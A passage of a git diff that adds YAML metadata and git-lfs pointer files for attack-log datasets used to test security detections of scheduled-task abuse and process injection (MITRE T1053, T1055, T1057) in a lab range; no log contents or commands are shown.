b/datasets/attack_techniques/T1053.005/asyncrat_highest_priv_schtasks/sysmon-31abf1aa-280e-4f66-8162-fc6a98f66ab0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2a7d78aae8be74090623431b8c594455b94c0c48b8746dc586f7c3d5883e34ce +size 2194 diff --git a/datasets/attack_techniques/T1053.005/atomic_red_team/T1053.005_atomic_red_team.yml b/datasets/attack_techniques/T1053.005/atomic_red_team/T1053.005_atomic_red_team.yml new file mode 100644 index 000000000..1500a070e --- /dev/null +++ b/datasets/attack_techniques/T1053.005/atomic_red_team/T1053.005_atomic_red_team.yml @@ -0,0 +1,17 @@ +author: STRT +id: d96c7736-d9f4-47f1-9bfa-24c09c6a206e +date: '2026-07-11' +description: Curated attack data generated for detection Scheduled Task Deleted Or + Created via CMD +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1053.005/atomic_red_team/windows-sysmon-d96c7736-d9f4-47f1-9bfa-24c09c6a206e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: pwsh_scheduledtask + path: /datasets/attack_techniques/T1053.005/atomic_red_team/pwsh_scheduledtask-d96c7736-d9f4-47f1-9bfa-24c09c6a206e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1053.005/atomic_red_team/pwsh_scheduledtask-d96c7736-d9f4-47f1-9bfa-24c09c6a206e.log b/datasets/attack_techniques/T1053.005/atomic_red_team/pwsh_scheduledtask-d96c7736-d9f4-47f1-9bfa-24c09c6a206e.log new file mode 100644 index 000000000..8a49a50ee --- /dev/null +++ b/datasets/attack_techniques/T1053.005/atomic_red_team/pwsh_scheduledtask-d96c7736-d9f4-47f1-9bfa-24c09c6a206e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:47b79f44fed99c329ab4cb02d59b2484cfe8029aae6c599cb6beea41c7673eb2 +size 677690 diff --git a/datasets/attack_techniques/T1053.005/atomic_red_team/windows-sysmon-d96c7736-d9f4-47f1-9bfa-24c09c6a206e.log b/datasets/attack_techniques/T1053.005/atomic_red_team/windows-sysmon-d96c7736-d9f4-47f1-9bfa-24c09c6a206e.log new file mode 100644 index 000000000..998db7118 --- /dev/null +++ b/datasets/attack_techniques/T1053.005/atomic_red_team/windows-sysmon-d96c7736-d9f4-47f1-9bfa-24c09c6a206e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4f7beaccfb1a6caafa0d9419a6cf9776d92fc6856c0a26537eee47d456eb1f81 +size 2192 diff --git a/datasets/attack_techniques/T1053.005/lateral_movement/T1053.005_lateral_movement.yml b/datasets/attack_techniques/T1053.005/lateral_movement/T1053.005_lateral_movement.yml new file mode 100644 index 000000000..b7e73829d --- /dev/null +++ b/datasets/attack_techniques/T1053.005/lateral_movement/T1053.005_lateral_movement.yml @@ -0,0 +1,13 @@ +author: STRT +id: 1c50df72-f67a-4f12-a65e-0122e3ec9e1d +date: '2026-07-11' +description: Curated attack data generated for detection Scheduled Task Initiation + on Remote Endpoint +environment: attack_range +directory: lateral_movement +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1053.005/lateral_movement/windows-sysmon-1c50df72-f67a-4f12-a65e-0122e3ec9e1d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1053.005/lateral_movement/windows-sysmon-1c50df72-f67a-4f12-a65e-0122e3ec9e1d.log b/datasets/attack_techniques/T1053.005/lateral_movement/windows-sysmon-1c50df72-f67a-4f12-a65e-0122e3ec9e1d.log new file mode 100644 index 000000000..bb789da64 --- /dev/null +++ b/datasets/attack_techniques/T1053.005/lateral_movement/windows-sysmon-1c50df72-f67a-4f12-a65e-0122e3ec9e1d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c73ff1971c8ddf588725636d2b783a98f7d8affa0ccc5c77b0bffb796745b139 +size 1947 diff --git a/datasets/attack_techniques/T1053.005/schtask_shutdown/T1053.005_schtask_shutdown.yml b/datasets/attack_techniques/T1053.005/schtask_shutdown/T1053.005_schtask_shutdown.yml new file mode 100644 index 000000000..834792c6d --- /dev/null +++ b/datasets/attack_techniques/T1053.005/schtask_shutdown/T1053.005_schtask_shutdown.yml @@ -0,0 +1,13 @@ +author: STRT +id: 63944ba1-c441-4c2a-b71f-ad32b0ab90df +date: '2026-07-11' +description: Curated attack data generated for detection Schtasks used for forcing + a reboot +environment: attack_range +directory: schtask_shutdown +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1053.005/schtask_shutdown/windows-sysmon-63944ba1-c441-4c2a-b71f-ad32b0ab90df.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1053.005/schtask_shutdown/windows-sysmon-63944ba1-c441-4c2a-b71f-ad32b0ab90df.log b/datasets/attack_techniques/T1053.005/schtask_shutdown/windows-sysmon-63944ba1-c441-4c2a-b71f-ad32b0ab90df.log new file mode 100644 index 000000000..e9d61a71d --- /dev/null +++ b/datasets/attack_techniques/T1053.005/schtask_shutdown/windows-sysmon-63944ba1-c441-4c2a-b71f-ad32b0ab90df.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:26480238a28c52aa1a758233a62c31737a66d16857e1788376a3108fd2ea6b3f +size 1984 diff --git a/datasets/attack_techniques/T1053.005/schtask_system/T1053.005_schtask_system.yml b/datasets/attack_techniques/T1053.005/schtask_system/T1053.005_schtask_system.yml new file mode 100644 index 000000000..64121c425 --- /dev/null +++ b/datasets/attack_techniques/T1053.005/schtask_system/T1053.005_schtask_system.yml @@ -0,0 +1,13 @@ +author: STRT +id: aba456c1-ed8a-4d7e-9393-483baec2f262 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Schtasks Create Run + As System +environment: attack_range +directory: schtask_system +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1053.005/schtask_system/windows-sysmon-aba456c1-ed8a-4d7e-9393-483baec2f262.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1053.005/schtask_system/windows-sysmon-aba456c1-ed8a-4d7e-9393-483baec2f262.log b/datasets/attack_techniques/T1053.005/schtask_system/windows-sysmon-aba456c1-ed8a-4d7e-9393-483baec2f262.log new file mode 100644 index 000000000..8e9af8732 --- /dev/null +++ b/datasets/attack_techniques/T1053.005/schtask_system/windows-sysmon-aba456c1-ed8a-4d7e-9393-483baec2f262.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:598b761436a1a39b1561c3f0ce59cd8b0439601f4137c73aaf32a4f9bc35077e +size 2142 diff --git a/datasets/attack_techniques/T1053.005/schtasks/T1053.005_schtasks.yml b/datasets/attack_techniques/T1053.005/schtasks/T1053.005_schtasks.yml new file mode 100644 index 000000000..7ea04faa6 --- /dev/null +++ b/datasets/attack_techniques/T1053.005/schtasks/T1053.005_schtasks.yml @@ -0,0 +1,13 @@ +author: STRT +id: c058f867-0401-459d-bce3-8a878cf5957b +date: '2026-07-11' +description: Curated attack data generated for detection Suspicious Scheduled Task + from Public Directory +environment: attack_range +directory: schtasks +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1053.005/schtasks/windows-sysmon-c058f867-0401-459d-bce3-8a878cf5957b.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1053.005/schtasks/windows-sysmon-c058f867-0401-459d-bce3-8a878cf5957b.log b/datasets/attack_techniques/T1053.005/schtasks/windows-sysmon-c058f867-0401-459d-bce3-8a878cf5957b.log new file mode 100644 index 000000000..9b62f4698 --- /dev/null +++ b/datasets/attack_techniques/T1053.005/schtasks/windows-sysmon-c058f867-0401-459d-bce3-8a878cf5957b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f987165e11d067a25f266347228d84817ecf596e7921a8fee6ca8639ad4b8b37 +size 4092 diff --git a/datasets/attack_techniques/T1053.005/svchost_lolbas_execution_process_spawn/T1053.005_svchost_lolbas_execution_process_spawn.yml b/datasets/attack_techniques/T1053.005/svchost_lolbas_execution_process_spawn/T1053.005_svchost_lolbas_execution_process_spawn.yml new file mode 100644 index 000000000..204d939d0 --- /dev/null +++ b/datasets/attack_techniques/T1053.005/svchost_lolbas_execution_process_spawn/T1053.005_svchost_lolbas_execution_process_spawn.yml @@ -0,0 +1,13 @@ +author: STRT +id: 87b1ac83-4466-4aca-8960-af2363afd04f +date: '2026-07-11' +description: Curated attack data generated for detection Svchost LOLBAS Execution + Process Spawn +environment: attack_range +directory: svchost_lolbas_execution_process_spawn +mitre_technique: [] +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1053.005/svchost_lolbas_execution_process_spawn/windows-xml-87b1ac83-4466-4aca-8960-af2363afd04f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1053.005/svchost_lolbas_execution_process_spawn/windows-xml-87b1ac83-4466-4aca-8960-af2363afd04f.log b/datasets/attack_techniques/T1053.005/svchost_lolbas_execution_process_spawn/windows-xml-87b1ac83-4466-4aca-8960-af2363afd04f.log new file mode 100644 index 000000000..43ed5603b --- /dev/null +++ b/datasets/attack_techniques/T1053.005/svchost_lolbas_execution_process_spawn/windows-xml-87b1ac83-4466-4aca-8960-af2363afd04f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ec841d9b6814f157ccdf25f78b3754040b43ecd9329ea01ee788ebba716ffd84 +size 123014 diff --git a/datasets/attack_techniques/T1053.005/taskschedule/T1053.005_taskschedule.yml b/datasets/attack_techniques/T1053.005/taskschedule/T1053.005_taskschedule.yml new file mode 100644 index 000000000..fcfb4942d --- /dev/null +++ b/datasets/attack_techniques/T1053.005/taskschedule/T1053.005_taskschedule.yml @@ -0,0 +1,13 @@ +author: STRT +id: 6d615581-321d-4c39-9bc2-3fe9e811ac30 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Registry Delete Task + SD +environment: attack_range +directory: taskschedule +mitre_technique: [] +datasets: +- name: sd_delete_windows-sysmon + path: /datasets/attack_techniques/T1053.005/taskschedule/sd_delete_windows-sysmon-6d615581-321d-4c39-9bc2-3fe9e811ac30.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1053.005/taskschedule/sd_delete_windows-sysmon-6d615581-321d-4c39-9bc2-3fe9e811ac30.log b/datasets/attack_techniques/T1053.005/taskschedule/sd_delete_windows-sysmon-6d615581-321d-4c39-9bc2-3fe9e811ac30.log new file mode 100644 index 000000000..b4f6b8968 --- /dev/null +++ b/datasets/attack_techniques/T1053.005/taskschedule/sd_delete_windows-sysmon-6d615581-321d-4c39-9bc2-3fe9e811ac30.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:acc2a23b90a3aea1909d8869ce3f40781f84e2ef2eab26bed81dc00052ba42fa +size 7492 diff --git a/datasets/attack_techniques/T1053.005/winevent_windows_task_scheduler_event_action_started/T1053.005_winevent_windows_task_scheduler_event_action_started.yml b/datasets/attack_techniques/T1053.005/winevent_windows_task_scheduler_event_action_started/T1053.005_winevent_windows_task_scheduler_event_action_started.yml new file mode 100644 index 000000000..9f7e8fb5c --- /dev/null +++ b/datasets/attack_techniques/T1053.005/winevent_windows_task_scheduler_event_action_started/T1053.005_winevent_windows_task_scheduler_event_action_started.yml @@ -0,0 +1,13 @@ +author: STRT +id: 35cf480f-b082-4f87-9a61-e2a70e292081 +date: '2026-07-11' +description: Curated attack data generated for detection WinEvent Windows Task Scheduler + Event Action Started +environment: attack_range +directory: winevent_windows_task_scheduler_event_action_started +mitre_technique: [] +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1053.005/winevent_windows_task_scheduler_event_action_started/windows-xml-35cf480f-b082-4f87-9a61-e2a70e292081.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-TaskScheduler/Operational diff --git a/datasets/attack_techniques/T1053.005/winevent_windows_task_scheduler_event_action_started/windows-xml-35cf480f-b082-4f87-9a61-e2a70e292081.log b/datasets/attack_techniques/T1053.005/winevent_windows_task_scheduler_event_action_started/windows-xml-35cf480f-b082-4f87-9a61-e2a70e292081.log new file mode 100644 index 000000000..09779c955 --- /dev/null +++ b/datasets/attack_techniques/T1053.005/winevent_windows_task_scheduler_event_action_started/windows-xml-35cf480f-b082-4f87-9a61-e2a70e292081.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:cc3a1fce686c0502eef25c4cae4e1732c2cf59478238bf147404f0195b482fbf +size 1802 diff --git a/datasets/attack_techniques/T1053.006/service_systemd/T1053.006_service_systemd.yml b/datasets/attack_techniques/T1053.006/service_systemd/T1053.006_service_systemd.yml new file mode 100644 index 000000000..1a0b3ad8b --- /dev/null +++ b/datasets/attack_techniques/T1053.006/service_systemd/T1053.006_service_systemd.yml @@ -0,0 +1,13 @@ +author: STRT +id: fb2a7ffa-4e00-42fa-b0e5-cb13f2e77129 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Service File Created + In Systemd Directory +environment: attack_range +directory: service_systemd +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1053.006/service_systemd/sysmon_linux-fb2a7ffa-4e00-42fa-b0e5-cb13f2e77129.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1053.006/service_systemd/sysmon_linux-fb2a7ffa-4e00-42fa-b0e5-cb13f2e77129.log b/datasets/attack_techniques/T1053.006/service_systemd/sysmon_linux-fb2a7ffa-4e00-42fa-b0e5-cb13f2e77129.log new file mode 100644 index 000000000..9e376c1f0 --- /dev/null +++ b/datasets/attack_techniques/T1053.006/service_systemd/sysmon_linux-fb2a7ffa-4e00-42fa-b0e5-cb13f2e77129.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d6e1a834b100f7656d3ca729c6848fbc28d9ba05dd2064edc067551dadbdca65 +size 6051 diff --git a/datasets/attack_techniques/T1053.007/kubernetes_audit_cron_job_creation/T1053.007_kubernetes_audit_cron_job_creation.yml b/datasets/attack_techniques/T1053.007/kubernetes_audit_cron_job_creation/T1053.007_kubernetes_audit_cron_job_creation.yml new file mode 100644 index 000000000..d3665c7ed --- /dev/null +++ b/datasets/attack_techniques/T1053.007/kubernetes_audit_cron_job_creation/T1053.007_kubernetes_audit_cron_job_creation.yml @@ -0,0 +1,12 @@ +author: STRT +id: 139d8a0b-b86e-4aab-b015-cc06576d2d78 +date: '2026-07-10' +description: Curated attack data generated for detection Kubernetes Cron Job Creation +environment: attack_range +directory: kubernetes_audit_cron_job_creation +mitre_technique: [] +datasets: +- name: kubernetes_audit_cron_job_creation + path: /datasets/attack_techniques/T1053.007/kubernetes_audit_cron_job_creation/kubernetes_audit_cron_job_creation-139d8a0b-b86e-4aab-b015-cc06576d2d78.log + sourcetype: _json + source: kubernetes diff --git a/datasets/attack_techniques/T1053.007/kubernetes_audit_cron_job_creation/kubernetes_audit_cron_job_creation-139d8a0b-b86e-4aab-b015-cc06576d2d78.log b/datasets/attack_techniques/T1053.007/kubernetes_audit_cron_job_creation/kubernetes_audit_cron_job_creation-139d8a0b-b86e-4aab-b015-cc06576d2d78.log new file mode 100644 index 000000000..753e06f98 --- /dev/null +++ b/datasets/attack_techniques/T1053.007/kubernetes_audit_cron_job_creation/kubernetes_audit_cron_job_creation-139d8a0b-b86e-4aab-b015-cc06576d2d78.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9826b39d9c2d2998f7313414980429af6600ee8db118cec80dabb81461ee5974 +size 4498 diff --git a/datasets/attack_techniques/T1053/taskschd_dll/T1053_taskschd_dll.yml b/datasets/attack_techniques/T1053/taskschd_dll/T1053_taskschd_dll.yml new file mode 100644 index 000000000..79a362731 --- /dev/null +++ b/datasets/attack_techniques/T1053/taskschd_dll/T1053_taskschd_dll.yml @@ -0,0 +1,13 @@ +author: STRT +id: 5cd03965-f2e5-44d1-ab21-58832621664c +date: '2026-07-11' +description: Curated attack data generated for detection Windows Scheduled Task DLL + Module Loaded +environment: attack_range +directory: taskschd_dll +mitre_technique: [] +datasets: +- name: taskschd_dll + path: /datasets/attack_techniques/T1053/taskschd_dll/taskschd_dll-5cd03965-f2e5-44d1-ab21-58832621664c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1053/taskschd_dll/taskschd_dll-5cd03965-f2e5-44d1-ab21-58832621664c.log b/datasets/attack_techniques/T1053/taskschd_dll/taskschd_dll-5cd03965-f2e5-44d1-ab21-58832621664c.log new file mode 100644 index 000000000..b32dd568a --- /dev/null +++ b/datasets/attack_techniques/T1053/taskschd_dll/taskschd_dll-5cd03965-f2e5-44d1-ab21-58832621664c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:73623299b5654b1d7a9fde38ab78901ae6dc3c4b85cd2251666cbc9c0aec96b5 +size 6216 diff --git a/datasets/attack_techniques/T1055.001/rasautou/T1055.001_rasautou.yml b/datasets/attack_techniques/T1055.001/rasautou/T1055.001_rasautou.yml new file mode 100644 index 000000000..4723ed6c0 --- /dev/null +++ b/datasets/attack_techniques/T1055.001/rasautou/T1055.001_rasautou.yml @@ -0,0 +1,12 @@ +author: STRT +id: 55c751fa-7ddc-41b4-97e8-d846ee888516 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Rasautou DLL Execution +environment: attack_range +directory: rasautou +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1055.001/rasautou/windows-sysmon-55c751fa-7ddc-41b4-97e8-d846ee888516.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1055.001/rasautou/windows-sysmon-55c751fa-7ddc-41b4-97e8-d846ee888516.log b/datasets/attack_techniques/T1055.001/rasautou/windows-sysmon-55c751fa-7ddc-41b4-97e8-d846ee888516.log new file mode 100644 index 000000000..45e91e579 --- /dev/null +++ b/datasets/attack_techniques/T1055.001/rasautou/windows-sysmon-55c751fa-7ddc-41b4-97e8-d846ee888516.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:170f7cc1c104e365c1d432d0ce5bfd4d2c691a7fe4db72669f916c45f10a9a22 +size 10362 diff --git a/datasets/attack_techniques/T1055/cobalt_strike/T1055_cobalt_strike.yml b/datasets/attack_techniques/T1055/cobalt_strike/T1055_cobalt_strike.yml new file mode 100644 index 000000000..a853aaca9 --- /dev/null +++ b/datasets/attack_techniques/T1055/cobalt_strike/T1055_cobalt_strike.yml @@ -0,0 +1,12 @@ +author: STRT +id: 11fdf1da-2bd5-4a5d-974c-ddd7f3dc3759 +date: '2026-07-11' +description: Curated attack data generated for detection CMD Echo Pipe - Escalation +environment: attack_range +directory: cobalt_strike +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1055/cobalt_strike/windows-sysmon-11fdf1da-2bd5-4a5d-974c-ddd7f3dc3759.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1055/cobalt_strike/windows-sysmon-11fdf1da-2bd5-4a5d-974c-ddd7f3dc3759.log b/datasets/attack_techniques/T1055/cobalt_strike/windows-sysmon-11fdf1da-2bd5-4a5d-974c-ddd7f3dc3759.log new file mode 100644 index 000000000..417cb1737 --- /dev/null +++ b/datasets/attack_techniques/T1055/cobalt_strike/windows-sysmon-11fdf1da-2bd5-4a5d-974c-ddd7f3dc3759.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:079004ac2a8db13b1a7aaf2f2d865d2816a66b4089b18ddb6871b08a989cd36c +size 956646 diff --git a/datasets/attack_techniques/T1055/msra/T1055_msra.yml b/datasets/attack_techniques/T1055/msra/T1055_msra.yml new file mode 100644 index 000000000..2f0fa9393 --- /dev/null +++ b/datasets/attack_techniques/T1055/msra/T1055_msra.yml @@ -0,0 +1,13 @@ +author: STRT +id: 9c66c928-5cee-4230-b64d-6ca701fffd69 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Remote Assistance + Spawning Process +environment: attack_range +directory: msra +mitre_technique: [] +datasets: +- name: msra-windows-sysmon + path: /datasets/attack_techniques/T1055/msra/msra-windows-sysmon-9c66c928-5cee-4230-b64d-6ca701fffd69.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1055/msra/msra-windows-sysmon-9c66c928-5cee-4230-b64d-6ca701fffd69.log b/datasets/attack_techniques/T1055/msra/msra-windows-sysmon-9c66c928-5cee-4230-b64d-6ca701fffd69.log new file mode 100644 index 000000000..523e1466a --- /dev/null +++ b/datasets/attack_techniques/T1055/msra/msra-windows-sysmon-9c66c928-5cee-4230-b64d-6ca701fffd69.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:948326edb1e62484e351e1b0c4a708c10618c11619364f3a4e0692191da64194 +size 11843 diff --git a/datasets/attack_techniques/T1055/named_pipes/T1055_named_pipes.yml b/datasets/attack_techniques/T1055/named_pipes/T1055_named_pipes.yml new file mode 100644 index 000000000..85807f274 --- /dev/null +++ b/datasets/attack_techniques/T1055/named_pipes/T1055_named_pipes.yml @@ -0,0 +1,12 @@ +author: STRT +id: 74d6a0b5-9528-477d-bda9-41584ab64e72 +date: '2026-07-11' +description: Curated attack data generated for detection Windows PUA Named Pipe +environment: attack_range +directory: named_pipes +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1055/named_pipes/windows-sysmon-74d6a0b5-9528-477d-bda9-41584ab64e72.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1055/named_pipes/windows-sysmon-74d6a0b5-9528-477d-bda9-41584ab64e72.log b/datasets/attack_techniques/T1055/named_pipes/windows-sysmon-74d6a0b5-9528-477d-bda9-41584ab64e72.log new file mode 100644 index 000000000..743fd64af --- /dev/null +++ b/datasets/attack_techniques/T1055/named_pipes/windows-sysmon-74d6a0b5-9528-477d-bda9-41584ab64e72.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2ba7c95e6d3d9e2af6093585d90c4f651668fb8852bb520d4c9d8083760a55af +size 39508 diff --git a/datasets/attack_techniques/T1055/non-service-searchindexer/T1055_non-service-searchindexer.yml b/datasets/attack_techniques/T1055/non-service-searchindexer/T1055_non-service-searchindexer.yml new file mode 100644 index 000000000..da44a256e --- /dev/null +++ b/datasets/attack_techniques/T1055/non-service-searchindexer/T1055_non-service-searchindexer.yml @@ -0,0 +1,13 @@ +author: STRT +id: 1e8eb74c-91a1-461e-ba6d-36b09795fdea +date: '2026-07-11' +description: Curated attack data generated for detection Windows Process Injection + In Non-Service SearchIndexer +environment: attack_range +directory: non-service-searchindexer +mitre_technique: [] +datasets: +- name: seaarch-indexer-non-service + path: /datasets/attack_techniques/T1055/non-service-searchindexer/seaarch-indexer-non-service-1e8eb74c-91a1-461e-ba6d-36b09795fdea.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1055/non-service-searchindexer/seaarch-indexer-non-service-1e8eb74c-91a1-461e-ba6d-36b09795fdea.log b/datasets/attack_techniques/T1055/non-service-searchindexer/seaarch-indexer-non-service-1e8eb74c-91a1-461e-ba6d-36b09795fdea.log new file mode 100644 index 000000000..1b8713891 --- /dev/null +++ b/datasets/attack_techniques/T1055/non-service-searchindexer/seaarch-indexer-non-service-1e8eb74c-91a1-461e-ba6d-36b09795fdea.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3363aaae148376f33abc30f9749d4c1fab8ea266a44b892d2f0c402596537e6d +size 5907 diff --git a/datasets/attack_techniques/T1055/sliver/T1055_sliver.yml b/datasets/attack_techniques/T1055/sliver/T1055_sliver.yml new file mode 100644 index 000000000..ab76def80 --- /dev/null +++ b/datasets/attack_techniques/T1055/sliver/T1055_sliver.yml @@ -0,0 +1,21 @@ +author: STRT +id: f876a22f-3293-44ec-b85b-d834bb9afc95 +date: '2026-07-11' +description: Curated attack data generated for detection Notepad with no Command Line + Arguments +environment: attack_range +directory: sliver +mitre_technique: [] +datasets: +- name: notepad_windows-sysmon + path: /datasets/attack_techniques/T1055/sliver/notepad_windows-sysmon-f876a22f-3293-44ec-b85b-d834bb9afc95.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: T1055_windows-sysmon + path: /datasets/attack_techniques/T1055/sliver/T1055_windows-sysmon-f876a22f-3293-44ec-b85b-d834bb9afc95.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: sliver_windows-system + path: /datasets/attack_techniques/T1055/sliver/sliver_windows-system-f876a22f-3293-44ec-b85b-d834bb9afc95.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:System diff --git a/datasets/attack_techniques/T1055/sliver/T1055_windows-sysmon-f876a22f-3293-44ec-b85b-d834bb9afc95.log b/datasets/attack_techniques/T1055/sliver/T1055_windows-sysmon-f876a22f-3293-44ec-b85b-d834bb9afc95.log new file mode 100644 index 000000000..1a9814ba9 --- /dev/null +++ b/datasets/attack_techniques/T1055/sliver/T1055_windows-sysmon-f876a22f-3293-44ec-b85b-d834bb9afc95.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1e10b4a73501075c95b54f857585589c4014d58903cd578866b33aa645dbbae2 +size 8310 diff --git a/datasets/attack_techniques/T1055/sliver/notepad_windows-sysmon-f876a22f-3293-44ec-b85b-d834bb9afc95.log b/datasets/attack_techniques/T1055/sliver/notepad_windows-sysmon-f876a22f-3293-44ec-b85b-d834bb9afc95.log new file mode 100644 index 000000000..4dacd6a27 --- /dev/null +++ b/datasets/attack_techniques/T1055/sliver/notepad_windows-sysmon-f876a22f-3293-44ec-b85b-d834bb9afc95.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:902022bcb5acdbdeb0969b5a6f5a0bb24fe59502f5da6726a450b9217ee489af +size 5985 diff --git a/datasets/attack_techniques/T1055/sliver/sliver_windows-system-f876a22f-3293-44ec-b85b-d834bb9afc95.log b/datasets/attack_techniques/T1055/sliver/sliver_windows-system-f876a22f-3293-44ec-b85b-d834bb9afc95.log new file mode 100644 index 000000000..68ec9e952 --- /dev/null +++ b/datasets/attack_techniques/T1055/sliver/sliver_windows-system-f876a22f-3293-44ec-b85b-d834bb9afc95.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:980b20185c9227ef910aaabe435b0ac9e2e6102b3a8cb40c07180fbdca385191 +size 1886 diff --git a/datasets/attack_techniques/T1057/process_commandline_discovery/T1057_process_commandline_discovery.yml b/datasets/attack_techniques/T1057/process_commandline_discovery/T1057_process_commandline_discovery.yml new file mode 100644 index 000000000..baedd5efe --- /dev/null +++ b/datasets/attack_techniques/T1057/process_commandline_discovery/T1057_process_commandline_discovery.yml @@ -0,0 +1,13 @@ +author: STRT +id: e9de75cc-a8b0-4026-9607-73ae59cca576 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Process Commandline + Discovery +environment: attack_range +directory: process_commandline_discovery +mitre_technique: [] +datasets: +- name: wmic-cmdline-sysmon + path: /datasets/attack_techniques/T1057/process_commandline_discovery/wmic-cmdline-sysmon-e9de75cc-a8b0-4026-9607-73ae59cca576.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1057/process_commandline_discovery/wmic-cmdline-sysmon-e9de75cc-a8b0-4026-9607-73ae59cca576.log b/datasets/attack_techniques/T1057/process_commandline_discovery/wmic-cmdline-sysmon-e9de75cc-a8b0-4026-9607-73ae59cca576.log new file mode 100644 index 000000000..a84ab9d66 --- /dev/null +++ b/datasets/attack_techniques/T1057/process_commandline_discovery/wmic-cmdline-sysmon-e9de75cc-a8b0-4026-9607-73ae59cca576.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b86e1a6272bb18545dad3b287fe4d1c96b7cf60a8e2c08e625804c1773e399d3 +size 7910 diff --git a/datasets/attack_techniques/T1059.001/asyncrat_crypto_pwh_namespace/T1059.001_asyncrat_crypto_pwh_namespace.yml 